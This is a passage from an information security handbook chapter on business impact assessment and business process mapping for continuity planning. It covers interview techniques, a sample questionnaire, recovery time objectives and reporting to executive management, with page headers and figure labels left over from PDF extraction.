Conducting Appropriate Research The initial step in any continuity planning project undertaking is for the planner to gain a clear idea of the organization’s uniqueness, culture, competitive position, and business processes. One challenge plaguing continuity planning industry professionals over the years has been the tendency to be myopic in their view of the individual components of a company. This view has often led planners down a technical course of action that mistakenly focuses attention away from the larger business issues facing the company. The continuity planning business process itself involves more than just continuity of the technical IT and communications infrastructures of the company and therefore requires a broader vision and approach to preparing executive management for what should truly become an enterprise-wide continuity planning process.
Business Impact Assessment and Business Process Mapping
467
Understanding Management’s Vision Aside from understanding the fundamental processes that the enterprise relies upon to conduct its affairs, the planner must also have a clear understanding of executive management’s visions for the organization. What are the strategic and tactical visions, mission, and guiding principles that management is fostering and focusing resources on? By understanding management’s mission, the planner can derive the critical success factors they are striving to achieve. Understanding critical success factors can help the planner appreciate the strategies, tactics, and metrics management is using to achieve and measure success. This information is extremely valuable as it allows customization of the continuity planning processes to dovetail with and support the overall strategies and tactics management is using to achieve success. Matching continuity planning initiatives with enterprise business strategies, as measured by management’s own critical success factors, is probably the single best way to ensure that executive management support is obtained. The planner can use this knowledge to identify opportunities for quick-hit continuity planning activities that will be most beneficial to the organization in the short term, while also mapping a longer term approach to designing a continuity planning solution suited to the company. Where would the planner obtain this type of information? Clearly, interviews or discussions with executive management representatives would be a good starting point. Additionally, annual reports, strategic and tactical planning documents, and industry reports that depict the current state of the industry and project future state predictions, as well as the business process maps obtained or developed previously, would all be of vital assistance in understanding management vision.
Understand the Competitive Environment To understand the strengths and weaknesses of the organization, the planner should have an understanding as to how it compares with the marketplace or competitive environment. Internal sources of competitive marketplace information include information that has probably already been collected by the marketing, research and development, and investment departments, for example. External sources of competitive information include Standard and Poor’s Industry Surveys, and Hoover’s Online has information on 14,000 public and private U.S. and non-U.S. companies, which would include competitors. There are many others, of course, including professional, industry, or trade organizations. Competitive information is available and can be had with little effort. The planner who can demonstrate an understanding of the competitive environment has already gone a long way toward helping ensure executive management attention and response when resources are needed for continuity planning purposes.
Understand the People Issues In today’s rapidly shifting business and uncertain political environments, organizations are hurrying to stay abreast of rapidly changing technology, business, and political realities. Unfortunately, many organizations focus tremendous amounts of resources and time on analysis and refinement of technologyrelated issues, for example, but give little attention to how best to implement or deploy the resulting strategies from a people perspective. The continuity plans may be ready for the enterprise, but is the enterprise ready for the continuity plan? What should the planner do to ensure that the organization is ready for the continuity planning process? The planner must understand that the company’s culture and people play a significant role in the overall success of any project implementation, including continuity planning. In the past, many well-conceived
468
Information Security Management Handbook
and well-designed continuity planning process components have fallen short or have cost much more than anticipated because of a lack of appreciation for the people issues, and successful continuity planning is almost entirely people centric; that is, people must take the initiative in the first place to actually perform and develop continuity plans and arrange for the technologies and processes that must be in place to allow the continuity processes to work. Although a continuity planning process certainly has its technical components, it is the people who initiate and facilitate development and implementation of the processes and technologies that must be put into place, and it is the people who have to test, maintain, and measure the performance. Should a disaster or disruption occur, it is the people who will have to execute the recovery effort. When managers do not consider the organization’s culture and people impacts, projects fail. The planner must consider the organizational change management issues associated with implementing an appropriately designed continuity planning infrastructure by involving company personnel at an early stage, by setting appropriate expectation levels, and by utilizing a teaming approach in order to minimize resistance to change. The planner should ensure that key stakeholders are identified and utilized from the planning phase forward, clearly articulate benefits and rewards of the process, and emphasize the “what’s in it for me” payback.
Business Process Mapping In preparation for beginning a continuity planning project, whether specifically focused on a limited number of components of the company or for enterprise-wide implementations, the planner must consider and understand the business issues facing the management group. This process begins by gaining a thorough understanding of the business processes of the organization. All organizations in the public and private sectors share similar business processes with other companies or organizations in a similar industry group. A thorough understanding of the enterprise business process allows the planner to see how megaprocesses, major processes, and major subprocesses operate and how they correlate one to another, map across the organization, and interrelate in terms of their availability requirements. The continuity planner can use business process definitions for BCP planning, implementation, training, testing, and measurement and for helping to facilitate the BIA process itself. The planner’s ability to speak intelligently about the time-critical needs of precise business processes will enhance executive management communications and confidence in forthcoming recommendations.
Building the Business Case Armed with this information, the recovery planner can then set out to build the business case for continuity planning. Although some organizations are mandated by regulations to establish a continuity planning process, most are not. The decision to put in place a continuity planning process is a business decision that is measured in terms of expected value-added contributions of the process relative to the commitment of resources required to achieve a successful outcome. As with any business plan, the objective is to identity benefits of having an appropriate continuity planning process. In most cases, the planner is faced with the appearance of having a non-profit-generating project with the goal of offsetting potential losses. Unfortunately, in the past it has been difficult for continuity planners to clearly demonstrate the value-added contribution an effective continuity planning process brings to the organization’s people, processes, technology, and mission. In presenting the business case return on investment, it should be measured in more than simply financial information. Qualitative and quantitative measures can be applied to potential loss impacts associated with a disruption in time-critical business processes. Of course, determining the significance of these threats is the purpose of the business impact assessment, so only preliminary business case estimates can be done at this point, awaiting results of the BIA. Preliminary financial estimates can be developed, however, using an interactive and more subjective information gathering process. The planner can estimate a rough order of magnitude (ROM) baseline of resource commitment required to support the case for proceeding with the next phases of the methodology that initially begins with the BIA.
Business Impact Assessment and Business Process Mapping
469
The BCP Process Development The BIA is the key to a successful BCP implementation, and understanding and standardizing enterprise business process names is critical to the success of the BIA. By way of background, let’s focus on where the BIA fits into the BCP development process. Following is a relatively generic methodology that is commonly used for the development of business unit continuity plans, crisis management plans, and technological platforms and communications network continuity plans. • Phase I. BCP Project Scoping and Initiation — This phase determines the scope of the BCP project and develops the project plan. It examines business operations and information system support services to form a project plan to direct subsequent phases. Project planning must define the precise scope, organization, timing, staffing, and other issues. This enables articulation of project status and requirements throughout the organization, chiefly to those departments and personnel who will be playing the most meaningful roles during the development of the BCP. • Phase II. Business Impact and Risk Assessment — This phase involves identification of time-critical business processes and determines the impact of a significant interruption or disaster. These impacts may be financial, in terms of dollar loss, or operational in nature, such as the ability to deliver and monitor quality customer service. • Phase III. Developing Continuity Strategies — The information collected in phase II is employed to approximate the resources (e.g., business unit or departmental space and resource requirements, technological platform services, communications networks requirements) necessary to support time-critical business processes and subprocesses. During this phase, an appraisal of recovery alternatives and associated cost estimates are prepared and presented to management. • Phase IV. Continuity Plan Development — This phase develops the actual plans (e.g., business unit, crisis management, technology-based plans). Explicit documentation is required for execution of an effective continuity process. The plan must include administrative inventory information and detailed continuity team action plans, among other information. • Phase V. Implement, Test, and Maintain the BCP — This phase establishes a rigorous, ongoing testing and maintenance management program. • Phase VI. Implement Awareness and Process Measurement — The final and probably the most crucial long-term phase establishes a framework for measuring the continuity planning processes against the value they provide the organization. In addition, this phase includes training of personnel in the execution of specific continuity activities and tasks. It is vital that they be aware of their role as members of continuity teams.
The BIA Process As mentioned earlier, the intent of the BIA process is to help the organization’s management appreciate the magnitude of the operational and financial impacts associated with a disaster or serious disruption. When they understand, management can use this knowledge to calculate the recovery time objective for time-critical support services and resources. For most organizations, these support resources include: • • • • • •
Facilities IT infrastructure (including voice and data communications networks) Hardware and software Vital records Data Business partners
The connection is made when each of the time-critical business processes is mapped to the above supporting resources. Every place a time-critical process touches a supporting resource, that resource is a candidate for some level of BCP effort; therefore, the value of a thorough understanding of the company’s business processes cannot be overemphasized.
470
Information Security Management Handbook
Start with Business Process Maps What do we mean when we talk about business process maps? All public and private sector organizations share similar business processes with other companies or organizations in a similar industry group. These business processes can be studied and mapped for the enterprise. The BCP project team can then utilize the business process maps to analyze how mega processes, major process, and major subprocesses operate and interrelate with one another’s availability requirements. The continuity planner can use these maps for planning, implementation, training, testing, and measurement. The planner can use the process maps to view the entire organization from the top down and then is able to drill down to identify specific timecritical processes and their supporting resources, to determine single points of failure, and to visualize how the continuity planning process should be constructed to best fit the circumstances. Business process maps help the planner to visualize how the company or organization conducts business; they are essentially a roadmap to the business. They provide a common naming convention for business processes as they interrelate and cross the organizational structure depicted in the company’s organization charts. By obtaining or developing process maps, the planner has taken a huge step forward in understanding the true business processes of the enterprise that will be helpful during discussions with executive management regarding continuity planning requirements and investments. As mentioned earlier, the continuity planner’s ability to speak intelligently about the time-critical needs of precise business processes will enhance executive management communications and their confidence in forthcoming recommendations.
Business Process Mapping: How To Caveat: It should be noted from the beginning that business process mapping can and is done differently depending on the mapping purposes. No standard methodology for mapping exists, as many components of the enterprise need to look at the organization differently, thus leaving them to best define their own leading practices for business process mapping. The mapping methods described here have been proven to work best when applied to conducting a BCP business impact assessment. Figure 39.1 is a generic representation of a typical mega business process map that can be used by the planner to standardize business processes among and within individual business units of the enterprise.
Business Process Mapping for the BIA It is important to limit the population of business processes identified to a workable number. Identification methods should be customized so mega business processes, major business processes, and subbusiness processes number anywhere from eight to twelve each. The purpose of breaking up huge business processes into workable and understandable bundles supports efficiency in mapping each across the enterprise. One business process that describes the entire enterprise is not enough, but documenting hundreds of business processes is too many. For purposes of discussion, Figure 39.1 illustrates a typical mega process map. The executive, research and development, sales and marketing, procurement, production, distribution, finance, and accounting mega business processes (notice eight mega processes) is a great starting point. By limiting the number of mega processes, the planner has ensured a workable number of business processes that then can be broken down into another eight to twelve major business processes. And, likewise, each of the major business processes that make up each mega process will have eight to twelve subprocesses. Notice that, although the facilities, IT, and compliance business processes are included in the illustration above, these types of business processes are normally classified as supporting processes required by each of the primary mega processes as support resources and are not considered, in and of themselves, true mega or major business processes.
Business Process Breakdown Figure 39.2 illustrates a typical detailed map that results as the continuity planners identify each individual business process and then break that process down into its constituent parts. This type of map will be replicated many times across a sizeable enterprise but is extremely valuable for continuity planners when attempting to identify and the prioritize time-critical business processes.
471
Business Impact Assessment and Business Process Mapping
Enterprise/Organization Macro Business Process Map
Executive
Control/Legal Complaince/Audit
Finance Control/ Accounting/ Controller
Research and Development
Sales and Marketing
Resource Acquisition/ Procurement
Product/Services Development Production
Distribution
Product/Service Delivery
Facilities
Information Technology/ Infrastructure
FIGURE 39.1 Typical mega business process map.
Conducting the BIA When actually explaining the intent of the BIA to those being interviewed, the following approaches should be observed and topics discussed with the participants: • Ask intelligent questions of knowledgeable people. These questions are based loosely on the concept that, if you ask enough reasonably intelligent people a consistent set of measurable questions, then you will eventually reach a conclusion that is more or less the correct one — very qualitative, in other words. The BIA questions serve to elicit qualitative results from a number of knowledgeable people. The precise number of people interviewed obviously depends on the scope of the BCP activity and the size of the organization; however, when consistently directing a well-developed number of questions to an informed audience, the results will reflect a high degree of reliability. • Ask to be directed to the correct people. As the interview unfolds, it may become evident that the interviewee is the wrong person to be answering the questions. Ask who else within this area would be better suited to address these issues. They might be invited into the room at that point, or it may be necessary to schedule a meeting with them at another time. • Assure them that their contribution is valuable. A very important way to build the esteem of interviewees is to mention that their input to the process is considered valuable, as it will be used to formulate strategies necessary to recover the organization following a disruption or disaster. Explaining that the purpose of the interview is to obtain their business unit’s relevant information for input to planning a continuity strategy can sometimes change the tone of the interview positively.
472
Macro Process Name (Standardized)
Major Process A
Process A2
Process A3
Process A4
Subprocess A1.1
Subprocess
Subprocess
Subprocess
Subprocess A1.2
Subprocess
Subprocess
Subprocess
Process 2B
Process 3B
Process 4B
Process A5
Process A6
Process 5B
Process 6B
Subprocess A1.3
Major Process B
Process 1B
Major Process C Major Process D Major Process E
FIGURE 39.2 Typical detailed map.
Information Security Management Handbook
Process A1
Business Impact Assessment and Business Process Mapping
473
• Explain that the plan is not strictly an IT plan. Even if the purpose of the BIA is for IT continuity, when interviewing business unit management to prepare a technological platform recovery plan, it is sometimes useful to couch the discussion in terms of: “A good IT continuity plan, although helping IT to recover, is really a business unit plan.” Why? Because the IT plan will recover the business functionality of the interviewee’s business unit as well, and that is the purpose of the interview. • Focus on who will really be exercising the plan. Another technique is to mention that the continuity plan that will eventually be developed can be used by the interviewees but is not necessarily developed for them. Why? Because the people being interviewed probably already understand what to do following a disaster, without referring to extensive written recovery procedures, but the fact of the matter is that following the disruption these people may not be available. It may well be the responsibility of the next generation of management to recover, and it will be the issues identified by this interviewee that will serve as the continuity route map. • Focus on time-critical business processes and support resources. As the BIA interview progresses, it is important to fall back from time to time to reinforce the idea that identifying time-critical functions and processes is the purpose of the interview. Remember to differentiate “mission critical” from “time critical.” • Assume worst-case disaster. When faced with the question “When will the disruption occur?” the answer should be “It will occur at the worst possible time for your business unit. If you close your books on December 31, and you need the computer system the most on December 30 and 31, then the disaster will occur on December 29.” Only when measuring the impacts of a disruption at the worst time can the interviewer get an idea as to the full impact of the disaster, which allows the impact information to be more meaningfully compared from one business unit to the next. • Assume that no continuity capability exists. To obtain results that are comparable, it is essential that interviewees assume that no continuity capability will exist when they answer the impact questions. The reason for this is that, when they attempt to quantify or qualify the impact potential, they may confuse a preexisting continuity plan or capability with no impact, and that is incorrect. No matter the existing continuity capability, the impact of a loss of services must be measured in raw terms so when the results of the interviews from business unit to business unit are compared, the results are comparable (apples to apples, if you will). • Gather order of magnitude numbers and estimates. Financial impact information is needed in orders of magnitude estimates only. Do not get bogged down in minutia, as it is easy to get lost in the detail. The BIA process is not a quantitative risk assessment! It is not meant to be. It is qualitative in nature, and, as such, orders of magnitude impacts are completely appropriate and even desirable. Why? Because preciseness in estimation of the loss impact almost always will result in arguments about the numbers. When this occurs, the true goal of the BIA is lost, because it turns the discussion into a numbers game, not a balanced discussion concerning financial and operational impact potentials. Because of the unlimited and unknown numbers of varieties of disasters that could possibly befall an organization, the true numbers can never ever be precisely known, at least until after the disaster. The financial impact numbers are merely estimates intended to illustrate degrees of impacts. So, skip the numbers exercise and get to the point. • Stay focused on the BCP scope. Whether the BIA process is for development of technological platforms, end-user facilities continuity, voice network, etc., it is very important not to allow scope creep in the minds of the interviewees. The discussion can become very unwieldy if the focus of the loss impact discussions wanders from the precise scope of the BCP project. • Remember that there are no incorrect answers. Because all the results will be compared with one another before the BIA report is forwarded, it is important to emphasize that interviewees should not worry about wrong numbers. As the BIA process evolves, each business unit’s financial and operational impacts will be compared with the others, and any impact estimates that are out of line with the rest will be challenged and adjusted accordingly.
474
Information Security Management Handbook
• Do not insist upon getting the financial information on the spot. Sometimes the compilation of financial loss impact information requires a little time to accomplish. The author often tells interviewees that we will return within a few days to collect the information, so additional care can be taken in preparation, making sure that we do actually return and pick up the information later. • Understand the value of push back. Do not underestimate the value of push back when conducting BIA interviews. Industry experience has taught us that anywhere from one third to one half of an organization’s business processes turn out to be time critical. Business process personnel will, most times, tend to view their activities as extremely time critical, with little or no downtime acceptable. In reality, their operations will be arranged in some priority order with the other business processes of the organization for recovery priority. Realistic recovery time objectives (RTOs) must be reached, and sometimes the interviewer must push back and challenge what may be considered unrealistic recovery requirements. Be realistic in challenging, and request that the interviewee be realistic in estimating their business unit’s RTOs. Common ground will eventually be found that will be more meaningful to those who will read the BIA findings and recommendations — the executive management group.
BIA Information-Gathering Techniques Various schools of thought exist with regard to gathering BIA information. Conducting individual oneon-one BIA interviews is popular, but organizational size and location issues sometimes make conducting one-on-one interviews impossible. Other popular techniques include group sessions or the use of an electronic medium (i.e., data or voice network), or a combination of all of these. The following points highlight the pros and cons of these interviewing techniques: • One-on-one BIA interviews — One-on-one interviews with organizational representatives are the most effective way to gather BIA information. The advantages of this method are the ability to discuss the issues face to face and observe the person. This one-on-one discussion will give the interviewer a great deal of both verbal and visual information concerning the topic at hand. In addition, personal rapport can be built between the interviewee and the BIA team, with the potential for additional assistance and support to follow. This rapport can be very beneficial during later stages of the BCP development effort if those being interviewed understand that the BCP process was undertaken to help them get their jobs done in times of emergency or disaster. The disadvantages of this approach are that it can become very time consuming, and can add time to the critical path of the BIA process. • Group BIA interview sessions or exercises — This type of information gathering activity can be very efficient in ensuring that a lot of data is gathered in a short period of time and can speed the BIA process tremendously. The drawback to this approach is that, if not conducted properly, it can result in a meeting of a number of people without very much useful information being obtained. • Executive management mandate — Although not always recommended, in certain circumstances conducting only selected interviews with very high-level executive management will suffice for BIA purposes. Such situations might include development of continuous operations and strategies where extremely short recovery timeframes are already obvious or where time for development of appropriate strategies for recovery is severely shortened. The level of confidence is not as high in comparison to performing many more exhaustive sets of interviews (at various levels of the organization, not just with the executive management group), but it does speed up the process. • Electronic medium — Use of voice and data communications technologies, video conferencing, and Web-based technologies and media are becoming increasingly accepted and popular. Many times, the physical or geographical size and diversity as well as the structural complexity of the organization lend itself to this type of information gathering technique. The pros are that distances
Business Impact Assessment and Business Process Mapping
475
can be diminished and travel expenses reduced. The use of automated questionnaires and other data gathering methods can facilitate the capture of tabular data and ease consolidation of this information. Less attractive, however, is the fact that this type of communication lacks the human touch and sometimes ignores the importance of the ability of the interviewer to read the verbal and visual communications of the interviewee. Note: Especially worrisome is the universal broadcast of BIA-related questionnaires. Uninformed groups of users on a network may supply answers to qualitative and quantitative BIA questions without regard to the point or nuance of the question or the intent of the use of the result. Such practices almost always lend themselves to misleading and downright wrong results. This type of unsupported data gathering technique for purposes of formulating a thoughtful strategy for recovery should be avoided. Most likely, an organization will need to use a mix of these suggested methods or use others as suited to the situation and culture of the enterprise.
The Use of BIA Questionnaires Without question, the people-to-people contact of the BIA process is the most important component in understanding the potential impact a disaster will have on an organization. People run the organization, and people can best describe business functionality and their business units’ degree of reliance on support services. The issue here, however, is deciding what is the best and most practical technique for gathering information from these people. There are differing schools of thought regarding the use of questionnaires during the BIA process. The author’s opinion is that a well-crafted and customized BIA questionnaire will provide the structure necessary to guide the BIA and project teams. This consistent interview structure requires that the same questions be asked of each BIA interviewee. Reliance can then be placed on the results because answers to questions can be compared to one another with assurance that the comparisons are based on the same criterion. Although the questionnaire can be a valuable tool, the structure of the questions is subject to a great deal of customization. This customization of the questions depends largely on the reason why the BIA is being conducted in the first place. The BIA process can be approached differently depending on the needs of the organization. Each BIA situation should be evaluated in order to properly design the scope and approach of the BIA process. BIAs may be desired for several reasons, including: • Initiating a BCP process where no BIA has been done before, as part of the phased implementation methodology • Reinitiating a BCP process where a BIA was performed in the past but now must be brought up to date • Conducting a BIA in order to incorporate the impacts of a loss of E-commerce-related supplychain technologies into the overall continuity strategies of the organization • Conducting a BIA in order to justify BCP activities that have already been undertaken (e.g., acquisition of a hot site or other recovery alternative) • Simply updating the results of a previous BIA effort to identify changes in the environment and as a basis to plan additional activities • Initiating a BIA as a prelude to beginning a full BCP process for understanding or as a vehicle to sell management on the need to develop a BCP
Customizing the BIA Questionnaire A questionnaire can be constructed or customized to serve as an efficient tool for accurately gathering BIA information. The number of BIA questionnaires in use by organizations is nearly unlimited. It should go without saying that any questionnaire, BIA or otherwise, can be constructed so as to elicit the response one would like. It is important that the goal of the BIA be in the mind of the questionnaire developers so the questions asked and the responses collected will meet the objective of the BIA process.
476
Information Security Management Handbook
TABLE 39-1 Sample BIA Questionnaire Introduction Business unit name: Date of interview: Contact name(s): Identify business process or business unit (BU) function: Briefly describe the overall business functions of the BU (with a focus on time-critical functions/processes), link each time-critical function or process to the IT application or network, and describe the interrelationships of the business processes and applications or networks: Financial Impacts Estimate impact of lost revenue (e.g., revenue or sales loss, lost trade discounts, interest paid on borrowed money, interest lost on float, penalties for late payment to vendors or lost discounts, contractual fines or penalties, unavailability of funds, canceled orders due to late delivery): Estimate impact of extraordinary expenses (e.g., acquisition of outside services, temporary employees, emergency purchases, rental/lease equipment, wages paid to idle staff, temporary relocation of employees): Operational Impacts Estimate impact of business interruption (e.g., loss of customer service capabilities, inability to serve internal customers/ management): Estimate loss of confidence (e.g., by customers, shareholders, regulatory agencies, employees): Technological Dependence Describe reliance on systems, business functions, and applications (attempt to identify specific automated systems, processes, and applications that support BU operations): Describe system interdependencies: Describe state of existing BCP measures: Other BIA Related Discussion Issues “What else should I have asked you that I did not, relative to this process?” Other questions should be customized to the environment of the organization, as needed.
BIA Questionnaire Construction Table 39.1 is an example of a BIA questionnaire. Basically, the BIA questionnaire is made up of the following types of questions: • Quantitative questions — These questions ask the interviewee to consider and describe the economic or financial impacts of a potential disruption. Measured in monetary terms, an estimation of these impacts will aid the organization in understanding loss potential, in terms of lost income as well as an increase in extraordinary expense. The typical qualitative impact categories might include revenue or sales loss, lost trade discounts, interest paid on borrowed money, interest lost on float, penalties for late payment to vendors or lost discounts, contractual fines or penalties, unavailability of funds, or canceled orders due to late delivery. Extraordinary expense categories might include acquisition of outside services, temporary employees, emergency purchases, rental/ lease equipment, wages paid to idle staff, and temporary relocation of employees. • Qualitative questions — Although the economic impacts can be stated in terms of dollar loss, the qualitative questions ask the participants to estimate potential loss impact in terms of their emotional understanding or feelings. It is surprising how often the qualitative measurements are used to put forth a convincing argument for a shorter recovery window. The typical qualitative impact categories might include loss of customer services capability or loss of confidence. • Specialized questions — Make sure that the questionnaire is customized to the organization. It is especially important to make sure that both the economic and operational impact categories (e.g., lost sales, interest paid on borrowed funds, business interruption, customer inconvenience) are stated in such a way that each interviewee will understand the intent of the measurement. Simple is better here.
Business Impact Assessment and Business Process Mapping
477
Using an automated tool? If an automated tool is being used to collect and correlate the BIA interview information, then make sure that the questions in the database and questions of the questionnaire are synchronized to avoid duplication of effort or going back to interviewees with questions that could have been handled initially. A word of warning here, however. The author has seen people pick up a BIA questionnaire off the Internet or from a book or periodical (like this one) and use it without regard for the culture and practices of their own organizations. Never, ever use a noncustomized BIA questionnaire. The qualitative and quantitative questions must be structured to the environment and style of the organization. A real opportunity for failure arises if this point is dismissed. A recent trend in BCP development, by the way, is that organizations seem to be moving away from prepackaged specialized software to the use of a combination of internal technologies that enterprise personnel already know and understand. This cuts down on the training curve and takes a little of the mystery out of the process, in addition to cutting down on front-end purchase and maintenance costs, not to mention technical support from another vendor, etc.
BIA Interview Logistics and Coordination This portion of the report will address the logistics and coordination of performing BIA interviews. Having scoped the BIA process, the next step is to determine who and how many people will be interviewed. The following are some techniques that might be used to do so: • Methods for identifying appropriate BIA interviewees — Interviewing everyone in the enterprise is obviously out of the question. A sample of those management and staff personnel who will provide the best information in the shortest period should be chosen. To do that, it is necessary to have a precise feel for the scope of the project (e.g., technological platform continuity, business unit continuity, communications continuity, crisis management plans). • Organizational process models — As was mentioned previously, identification of organizational mega and major business processes is the first place to start. Enterprises that are organized along process lines lend themselves to development of continuity planning strategies that will eventually result in the most efficient continuity infrastructure. Use of or development of models that reflect organizational processes will go a long way toward assisting BIA team members in identifying those personnel crucial to determining time-critical process requirements. • Organizational chart reviews — The use of formal, or sometimes even informal organization charts is a good place to start. This method includes examining the organizational chart of the enterprise to understand those functional positions that should be included. Review the organizational chart to determine which organizational structures will be directly involved in the overall effort and those that will be the recipients of the benefits of the finished continuity plan. • Overlaying systems technology — Overlaying systems technology (e.g., applications, networks) configuration information over the organization chart will reveal components of the organization that may be affected by an outage of the systems. Mapping applications, systems, and networks to the organization’s business functions will aid tremendously when attempting to identify the appropriate names and numbers of people to interview. • Executive management interviews — This method includes conducting introductory interviews with selected executive management representatives to identify critical personnel to be included in the BIA interview process as well as to receive high-level guidance and to raise overall executive level management awareness and support. • Coordination with the IT organization — If the scope of the BIA process is continuity of technological platforms or communications systems, then conducting interviews with a number of IT personnel could help shorten the data gathering effort. Although IT users will certainly need to be interviewed, IT personnel can often provide much valuable information but should not be relied on solely as the primary source of business impact outage information (e.g., revenue loss, extra expense).
478
Information Security Management Handbook
• Sending questionnaire out in advance — It can be useful to distribute the questionnaire to the interviewees in advance. Whether it is a hardcopy or in an electronic media format, the person being interviewed should have a chance to review the questions, to be able to invite others into the interview or redirect the interview to others, and to begin to develop the responses. Emphasize to the people who receive the questionnaires in advance not to fill them out but simply review them as a way to be prepared to address the questions later. • Scheduling interviews — Ideally, the BIA interview should last from 45 minutes to 1 hour and 15 minutes. The author has found that it sometimes can be advantageous to go longer than this, but if many of the interviews are lasting longer than 1 hour and 15 minutes, then perhaps a BIA scoping issue should be addressed, necessitating the need to schedule and conduct a larger number of additional interviews. • Limiting number of interviewees — It is important to limit the number of interviewees in the session to one, two, or three, but no more. Given the amount and quality of information to be elicited from this group, more than three people can deliver a tremendous amount of good information that unfortunately can be missed when too many people are delivering the message at the same time. • Scheduling two interviewers — When setting up the BIA interview schedule, try to ensure that at least two interviewers can attend and take notes. This will help eliminate the possibility that good information may be missed. Every additional trip back to an interviewee for confirmation of details will add overhead to the process. • Validating financial impact thresholds — An often-overlooked component of the process includes discussing with executive management the thresholds of pain that could be associated with a disaster. Asking the question as to whether a $5 million loss or a $50 million loss would have a significant impact on the long-term bottom line of the organization can lead to interesting results. An understanding on the part of the BIA team as to what financial impacts are acceptable or, conversely, unacceptable is crucial to framing BIA financial loss questions and the final findings and recommendations that the BIA report will reflect.
The Importance of Documenting a Formal RTO Decision The BIA process concludes when executive management makes a formalized decision as to the RTO they are willing to live with after analyzing the impacts to the business processes due to outages of vital support services. This includes the decision to communicate these RTO decisions to each business unit and support service manager involved. Why is it so important that a formalized decision be made? A formalized decision must be clearly communicated by executive management because the failure to document and communicate precise RTO information leaves each manager with imprecise direction on: (1) selection of an appropriate recovery alternative method, and (2) the depth of detail that will be required when developing recovery procedures, including their scope and content. The author has seen many well-executed BIAs with excellent results wasted because executive management failed to articulate their acceptance of the results and communicate to each affected manager that the time requirements had been defined for continuity processes.
Interpreting and Documenting the Results As the BIA interview information is gathered, considerable tabular and written information will begin to quickly accumulate. This information must be correlated and analyzed. Many issues will arise here which may result in some follow-up interviews or information gathering requirements. The focus at this point in the BIA process should be as follows:
Business Impact Assessment and Business Process Mapping
479
• Begin documentation of the results immediately. Even as the initial BIA interviews are being scheduled and completed, it is a good idea to begin preparation of the BIA findings and recommendations and actually begin entering preliminary information. The reason is twofold. The first is that waiting until the end of the process to begin formally documenting the results makes it more difficult to recall details that should be included. Second, as the report begins to evolve, issues will be identified that require immediate additional investigation. • Develop individual business unit BIA summary sheets. Another practical technique is to document each and every BIA interview with its own BIA summary sheet. This information can eventually be used directly by importing it into the BIA findings and recommendations, which can also be distributed back to each particular interviewee to authenticate the results of the interview. The BIA summary sheet contains a summation of all the verbal information that was documented during the interview. This information will be of great value later as the BIA process evolves. • Send early results back to interviewees for confirmation. Returning BIA summary sheets to the interviewees can continue to build consensus for the BCP project and begin to ensure that any future misunderstandings regarding the results can be avoided. Sometimes it may be desirable to get a formal sign-off, but other times the process is simply informal. • Make it clear that you are not trying to surprise anyone. The purpose for diligently pursuing the formalization of the BIA interviews and returning summary sheets to confirm the understandings from the interview process is to prevent any surprises later. This is especially important in large BCP projects where the BIA process takes a substantial amount of time. It is always possible that someone might forget what was said. • Define time-critical business functions/processes. As has been emphasized in this report, all issues should focus back to the true time-critical business processes of the organization. Allowing the attention to be shifted to specific recovery scenarios too early in the BIA phase will result in confusion and lack of attention to what is really important. • Tabulate financial impact information. A tremendous amount of tabular information can be generated through the BIA process. It should be boiled down to its essence and presented in such a way as to support the eventual conclusions of the BIA project team. It is easy to overdo it with numbers. Just be sure that the numbers do not overwhelm the reader and fairly represent the impacts. • Understand the implications of the operational impact information. Often, the weight of evidence and the basis for the recovery alternative decision are based on operational rather than financial information. Why? Usually the financial impacts are more difficult to accurately quantify, because the precise disaster situation and the recovery circumstances are difficult to visualize. The customer service impact of a fire, for example, is readily apparent, but it would be difficult to determine with any degree of confidence what the revenue loss impact would be for a fire that affects one particular location of the organization. Because the BIA process should provide a qualitative estimate (orders of magnitude), the basis for making the hard decisions regarding acquisition of recovery resources are, in many cases, based on the operational impact estimates rather than hard financial impact information.
Preparing the Management Presentation Presentation of the results of the BIA to concerned management should result in no surprises for them. If the BIA findings are communicated and adjusted as the process has unfolded, then the management review process should really become more of a formality in most cases. The final presentation meeting with the executive management group is not the time to surface new issues and make public startling results for the first time. To achieve the best results in the management presentation, the following suggestions are offered:
480
Information Security Management Handbook
• Draft report for review internally first. Begin drafting the report following the initial interviews to capture fresh information. This information will be used to build the tables, graphs, and other visual demonstrations of the results, and it will be used to record the interpretations of the results in the verbiage of the final BIA findings and recommendations report. One method for developing a well-constructed BIA findings and recommendations report from the very beginning is, at the completion of each interview, to record the tabular information into the BIA database or manual filing system. Second, the verbal information should be transcribed into a BIA summary sheet for each interview. This BIA summary sheet should be completed for each interviewee and contain the highlights of the interview in summarized form. As the BIA process continues, the BIA tabular information and the transcribed verbal information can be combined into the draft BIA findings and recommendations report. The table of contents for a BIA report may look like the one in Table 39.2. • Schedule individual executive management meetings as necessary. As the time for the final BIA presentation nears, it is sometimes a good idea to conduct a series of one-on-one meetings with selected executive management representatives to brief them on the results and gather their feedback for inclusion in the final deliverables. In addition, this is a good time to begin building grassroots support for the final recommendations that will come out of the BIA process; at the same time, it provides an opportunity to practice making your points and discussing the pros and cons of the recommendations. • Prepare executive management presentation (bullet point). The author’s experience says that most often executive management level presentations are better prepared in a brief and focused manner. It will undoubtedly become necessary to present much of the background information used to make the decisions and recommendations, but the formal presentation should be in a bullet-point format, crisp and to the point. Of course every organization has its own culture, so be sure to understand and comply with the traditional means of making presentations within the organization’s own environment. Copies of the report, which have been thoroughly reviewed, corrected, bound, and bundled for delivery, can be distributed at the beginning or the end of the presentation, depending on circumstances. In addition, copies of the bullet-point handouts can be supplied so attendees can make notes and use them for reference at a later time. Remember, the BIA process should end with a formalized agreement as to management’s intentions with regard to RTOs, so business unit and support services managers can be guided accordingly. It is here that that formalized agreement should be discussed and the mechanism for acquiring and communicating it determined. • Distribute report. When the management team has had an opportunity to review the contents of the BIA report and have made appropriate decisions or given other input, the final report should be distributed within the organization to the appropriate numbers of interested individuals.
TABLE 39.2 BIA Report Table of Contents Executive Summary Background Current State Assessment Threats and Vulnerabilities Time-Critical Business Functions Business Impacts (Operational) Business Impacts (Financial) Recovery Approach Next Steps/Recommendations Conclusion Appendices (as needed)
Business Impact Assessment and Business Process Mapping
481
Next Steps The BIA is truly completed when formalized executive management decisions have been made regarding: (1) RTOs, (2) priorities for business process and support services continuity, and (3) recovery resource funding sources. The next step is the selection of the most effective recovery alternative. The work gets a little easier here. We know what our recovery windows are, and we understand what our recovery priorities are. We now have to investigate and select recovery alternative solutions that fit the recovery window and recovery priority expectations of the organization. When the alternatives have been agreed upon, the actual continuity plans can be developed and tested, with organization personnel organized and trained to execute the continuity plans when needed.
